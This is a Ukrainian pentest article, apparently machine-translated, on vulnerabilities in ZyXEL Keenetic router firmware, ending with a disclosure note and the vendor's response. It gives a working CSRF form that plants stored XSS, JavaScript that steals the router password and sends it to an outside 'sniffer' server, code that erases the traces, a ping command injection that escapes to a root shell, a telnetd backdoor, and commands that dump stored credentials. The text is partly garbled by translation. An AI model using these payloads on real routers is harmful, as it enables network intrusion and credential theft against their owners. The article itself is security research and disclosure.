Як помилки в адмінці маршрутизаторів можуть видати повний доступ до роутера

  1. Зміст статті
  2. Warning!
  3. сучасний роутер
  4. Перший погляд
  5. Веб-баги
  6. Jailbreak from cmd
  7. концепти
  8. WWW
  9. Вердикт?
  10. INFO
  11. Скорий BUGFIX

Зміст статті

Виробники програмного забезпечення недостатньо дбають про безпеку маршрутизаторів. А адже саме через роутер зловмисник може проникнути у внутрішню мережу і прослуховувати весь проходить трафік. У даній статті будуть розглянуті баги і уразливості, які були знайдені мною і товаришем @ 090h в процесі пентеста завоювали популярність роутерів ZyXEL Keenetic.

Warning!

Вся інформація надана виключно в ознайомлювальних цілях. Ні редакція, ні автор не несуть відповідальності за будь-можливу шкоду, заподіяну матеріалами даної статті.

сучасний роутер

Якщо не брати тих людей, які порівнюють установку Wi-Fi-роутера з монтуванням вежі стільникового зв'язку у себе вдома і побоюються впливу радіохвиль на свій мозок, можна з упевненістю сказати - бездротова точка доступу є майже у кожного активного користувача Мережі. Крім зручності, Wi-Fi-роутер, як правило, додає і безпеки: пристрої користувача виявляються за файрволом і недоступні для прямих атак. Але разом з тим сама точка доступу може стати об'єктом для атаки. Програмне забезпечення точки доступу (як і будь-якого іншого девайса) нерідко може бути вразливе. Виробники в більшості випадків рідко надають значення серйозним перевіркам безпеки, концентруючись на зручність користувача і максимальної продуктивності. Аргументація проста: якщо більшість сервісів недоступні ззовні, а Адаменко доступна тільки для користувачів в локальній мережі, то чого морочитися? Насправді ж набір з простих вразливостей укупі з соціальною інженерією може дати зловмисникові віддалений доступ до управління роутером (правда, при певному збігу обставин). У цій статті ми розглядаємо потенційну можливість такої атаки на роутер ZyXEL Keenetic, з першою версією прошивки, яка встановлена ​​за замовчуванням.

Перший погляд

Треба розуміти, що ми цілеспрямовано шукали уразливості в роутері. Не було завдання зламати кого-то, у кого стоїть потрібна нам точка доступу. Перше, з чого ми почали, - це сканування портів Nmap'ом з внутрішньої мережі (зовні веб-админка за замовчуванням закрита). Сканер показав нам три відкритих порту, з яких нас цікавлять тільки два - 80-й (веб-інтерфейс) і 23-й (Telnet).

PORT STATE SERVICE VERSION 23 / tcp open telnet? 53 / tcp open domain dnsmasq 2.55 | dns-nsid: | _ bind.version: dnsmasq-2.55 80 / tcp open httpGoAhead-Webs httpd | http-auth: | HTTP / 1.0 401 Unauthorized

На 80-му порту крутиться звичайний веб-інтерфейс для управління роутером. З нього ми і почнемо.

Веб-баги

Якщо розглянути веб-інтерфейс з точки зору безпеки, то це провал. Класика жанру: всюди, де є можливість введення своєї інформації, відсутній фільтрація! У формах відсутні будь-які токени, що відкриває можливість для CSRF-атак.

Саме кожну XSS я розглядати не буду, але варто звернути увагу на один цікавий варіант експлуатації XSS (лайф-хак). Тобі напевно хотілося б приховати себе зі списку клієнтів, підключених до роутера (їх можна подивитися в адмінці роутера). Здавалося б, для цього потрібно мати доступ до консолі, писати модулі ядра і так далі. Але відповідь лежить на поверхні. Просто міняємо ім'я нашого комп'ютера (поле «Опис») на 1 '}] »); alert (1); і підключаємося до роутера. В результаті можна побачити, що ми «втиснулися» в JS таким чином, що він не обробився і видав порожньою список клієнтів. Цього буде цілком достатньо, щоб приховати себе та інших користувачів, підключених до точки доступу, від очей неуважного адміністратора.

Прошивка під скальпелем

Завдяки CSRF і XSS можна добути пароль від роутера і отримати віддалений доступ через бекенд, що буде найбільш ласим подарунком. Однак для цього не обійтися без соціальної інженерії (взагалі будь-яка атака стає можливою тільки при певному збігу обставин).

  1. Відправляємо адміну посилання на хост із заздалегідь підготовленим HTML-файлом: <FORM NAME = "buy" action = "http://192.168.1.1/req/usersAdd" METHOD = "POST"> <input type = "hidden" name = ' user_name 'value =' <script src = "// server / js / 1.js" type = "text / javascript"> '> <input type = "hidden" name =' password 'value = "3"> <input type = "hidden" name = 'fullAccess' value = "0"> <input type = "hidden" name = 'save' value = "% D0% 94% D0% BE% D0% B1% D0% B0% D0% B2% D0% B8% D1% 82% D1% 8C "> <input type =" hidden "name = 'submit_url' value ="% 2Fserver% 2Fusers.asp "> </ FORM> <script> document.buy.submit (); setTimeout ( 'document.location = "http://192.168.1.1/server/users.asp"', 3000) </ script>

    Як бачиш, використовується автосабміт і типова CSRF. В одному з полів - user_name - за допомогою <script> вставляється наш JS-пейлоад.

  2. Користувач переадресовується на протрояненную скриптом сторінку роутера, і XSS-код виповнюється у нього в браузері. Правда, є один важливий нюанс. В адмінці використовується Basic access authentication, тому атака спрацює, тільки якщо у жертви відкрита админка або ж логін-пароль був збережений в браузері.
  3. За допомогою пейлоада виконуємо необхідні нам дії. У прикладі, доданому до статті, ми просто висмикуємо з веб-інтерфейсу пароль від роутера і надсилаємо на наш сниффер. Пейлоад для цього завдання досить простий: .... var xmlhttp = getXmlHttp () xmlhttp.open ( 'GET', '/homenet/wireless/security.asp', false); xmlhttp.send (null); if (xmlhttp.status == 200) {t = xmlhttp.responseText; } T = t.replace (/ ^ (. * \ N) *. * <Html / i, "<html"); t = t.replace (/ <\ / html> (. * \ n) *. * $ / i, "</ html>"); var parser = new DOMParser (); var dom = parser.parseFromString (t, "text / xml"); password = dom.getElementsByTagName ( 'input') [10] .value // here it is // send to sniffer var imm = document.createElement ( 'img'); imm.setAttribute ( 'src', "http: // server / snifer?" + password)

    Варто звернути увагу на те, що, скачавши з роутера файл http://192.168.1.1/req/config/KEENETIC.cfg на наш віддалений сервер і виконавши команду «cat KEENETIC.cfg | gzip -d », ми отримаємо значення всіх системних змінних, в тому числі і Wi-Fi-ключ від роутера і від адмінки роутера.

  4. Після успішної передачі даних на сниффер виконуємо AJAX, який відправить запит на очистку таблиці (тим самим ми стираємо нашу XSS). .... // clear var xmlhttp = getXmlHttp () xmlhttp.open ( 'POST', '/ req / usersDel', false); xmlhttp.send ( "select0 = ON & select1 = ON & delAll =% D0% A3% D0% B4% D0% B0% D0% BB% D0% B8% D1% 82% D1% 8C +% D0% B2% D1% 81% D0% B5 & submit_url =% 2Fserver% 2Fusers.asp% 3Fuser_name% 3DCSRF% 0D% 0Apassword% 3DCSRF% 0D% 0AfullAccess% 3D0% 0D% 0Asave% 3D% D0% 94% D0% BE% D0% B1% D0% B0% D0% B2 % D0% B8% D1% 82% D1% 8C% 0D% 0Asubmit_url% 3D% 2Fserver% 2Fusers.asp "); ..
  5. Бінго! Роутер наш! Звичайно, це скоріше proof-of-concept. Це не означає, що можна зламати будь-який з півмільйона девайсів Keenetic, які були продані. Атака можлива при збігу двох обставин. Адмін повинен відкрити посилання - це перше. І веб-інтерфейс роутера повинен бути відкритий в браузері або ж логін-пароль повинні бути збережені в браузері. Однак proof-of-concept працює!

Jailbreak from cmd

клієнт NetFriend

Підключившись по ТЕЛНЕТ і залягання з даними, які ми отримали з файлу KEENETIC.cfg, потрапляємо в інтерактивну консоль Keenetic. Тут ми можемо виконувати примітивні операції або навіть системні команди через exec. приклад:

Password: KEENETIC 4G> sys atsh F / W version: V1.00 (AABV.1.2) D0 Product Model: KEENETIC 4G_RevB KEENETIC 4G> wlan status Hardware address: CC: 5D: 4E: FE: A1: 00 Wireless: On Mode: Access Point SSID: ZyXEL_KEENETIC_4G_FEA100 Channel: 10 Protocol: 802.11b / g / n Security: WPA2-PSK TKIP / AES ASCII key: 14881488

Але справа в тому, що це дико незручно, та й хотілося б мати повноцінну консоль, а не якусь криву обгортку. Для отримання повноцінної консолі був знайдений і проексплуатувати цікавий баг з неправильним парсинга аргументу для ping. Завдяки йому вдається виконувати довільні команди і в тому числі «вистрибнути» з запропонованої оболонки в шелл ash:

KEENETIC 4G> sys ping ya.ru; ls ping: bad address 'ya.ru' bin dev etc lib proc sbin sys tmp usr var web KEENETIC 4G> sys ping ya.ru; ash ping: bad address 'ya.ru' BusyBox v1.8.2 (2012-02-21 14:52:32 MSK) built-in shell (ash) Enter 'help' for a list of built-in commands. ~ #

І ось ми вже маємо повноцінну консоль. Тепер ми можемо робити все, що завгодно, але не варто забувати, що в роутері використовує файлову систему squashfs в режимі read-only.

Змінюємо ім'я мережі на XSS, і вона виконується

Тепер зробимо річ, яка полегшить нашу роботу з консоллю. Звичайно ж, це бекконнект. Робиться він дуже просто:

~ # Telnetd -F -l / bin / ash -p 9090

Тепер відкриваємо консоль на нашому комп'ютері:

root @ bt: ~ # telnet 192.168.1.1 9090 Trying 192.168.1.1 ... Connected to 192.168.1.1. Escape character is '^]'. BusyBox v1.8.2 (2012-02-21 14:52:32 MSK) built-in shell (ash) Enter 'help' for a list of built-in commands. ~ # ~ # Cat / proc / version Linux version 2.6.23.17 ([email protected]) (gcc version 4.1.2) # 9 Tue Feb 21 20:21:39 MSK 2012

Як бачиш, ми можемо навіть зробити бекконнект на свій сервер. У деяких випадках це може допомогти обійти захист, якщо така є.

концепти

Знайдені баги відкривають можливості для подальшого розвитку атаки. Розглянемо деякі концепти.

  1. Вносимо зміни в софт роутера. Як я вже сказав раніше, ми маємо справу з файлової системою squashfs, і, щоб що-небудь змінити, потрібно сильно постаратися. Для початку завантажуємо оригінал прошивки і розпаковуємо (в інтернеті можна легко знайти безліч інструкцій), далі змінюємо необхідні файли і «склеюємо» прошивку в зручний вид. Після цього необхідно оновити мікропрограму в роутері, завантаживши файл зміненої прошивки. Таким чином, ми зможемо змінювати, додавати і видаляти будь-які файли з прошивки.
  2. Додаємо функціонал через модуль ядра. Якщо ти володієш навичками програмування модулів ядра, то ніщо не заважає тобі написати свій модуль ядра, скомпілювати його і довантажити через lsmod. Але, щоб без оновлення прошивки мати в розпорядженні простір для створення і зміни файлів, ми повинні підключити зовнішній носій і працювати безпосередньо з ним (однак у багатьох користувачів зовнішніх носій вже підключений).
  3. Отримуємо додаткові дані через команду flash. Варто звернути увагу на такий інструмент, як команда flash, доступна в консолі роутера. Вона може дати нам цікаві дані (наприклад, пароль для програми NetFriend з метою віддаленого налаштування роутера), які в подальшому можуть бути використані проти жертви. Приклад: KEENETIC 4G> flash get SUPER_NAME SUPER_NAME = "t0u34" KEENETIC 4G> flash get SUPER_PASSWORD SUPER_PASSWORD = "i @ t0D93u34jf ~ 34: j # L9.Sd" KEENETIC 4G> flash get ADMIN_NAME ADMIN_NAME = "admin" KEENETIC 4G> flash get ADMIN_PASSWORD ADMIN_PASSWORD = "1234" KEENETIC 4G>

WWW

  • Обговорення маршрутизаторів ZyXEL Keenetic ;
  • цікава гілка форуму на iXBT ;
  • можливості роутера Keenetic на прошивці другого покоління habrahabr.ru ;
  • додаткові додатки для Keenetic .
Змінюємо hostname на спеціальний код і приховуємо всіх користувачів

Вердикт?

Треба розуміти, що випадок ZyXEL не рідкість - вадами в своєму софт можуть похвалитися практично всі виробники роутерів. Чи не найкритичніші на перший погляд уразливості при поєднанні з соціальною інженерією можуть привести до досить сумних наслідків. Але убезпечити себе від подібного можна, тільки якщо регулярно оновлювати прошивки роутера і змінювати всі налаштування, які забороняють віддалено користуватися роутером.

INFO

Інформація про уразливість була передана фахівцям компанії ZyXEL.

Скорий BUGFIX

Хлопці з ZyXEL відразу ж відповіли, що будуть робити з багами

«Виправлення знайдених багів (там де, це необхідно) найближчим часом стануть доступні користувачам в тій чи іншій формі в залежності від версії прошивки (V1 - в неофіційних збірках, V2 - в свіжих компонентах). Прошивка 2.0 взагалі побудована за іншим принципом - без використання shell і BusyBox. Вся логіка роботи прихована в модулях і бібліотеках, і вплинути на її роботу набагато складніше. Отримати рутовий доступ просто нікуди. Командна оболонка NDM хоч і виповнюється від імені рута, але настільки обмежена, що потрібне окреме дослідження, як використовувати її зі злого наміру. Що стосується вразливостей веб-інтерфейсу, вставити код на сторінку через ім'я комп'ютера в прошивці 2.0 неможливо (ми про всяк випадок перевірили). Скористатися CSRF не вийде, адже ми використовуємо AJAX, а не GET / POST через форму або URL, а крос-доменні запити AJAX давно блокуються браузерами. Вкрасти пароль теж не можна, тому що він не зберігається у відкритому вигляді. »

Аргументація проста: якщо більшість сервісів недоступні ззовні, а Адаменко доступна тільки для користувачів в локальній мережі, то чого морочитися?
PORT STATE SERVICE VERSION 23 / tcp open telnet?
Src', "http: // server / snifer?

Новости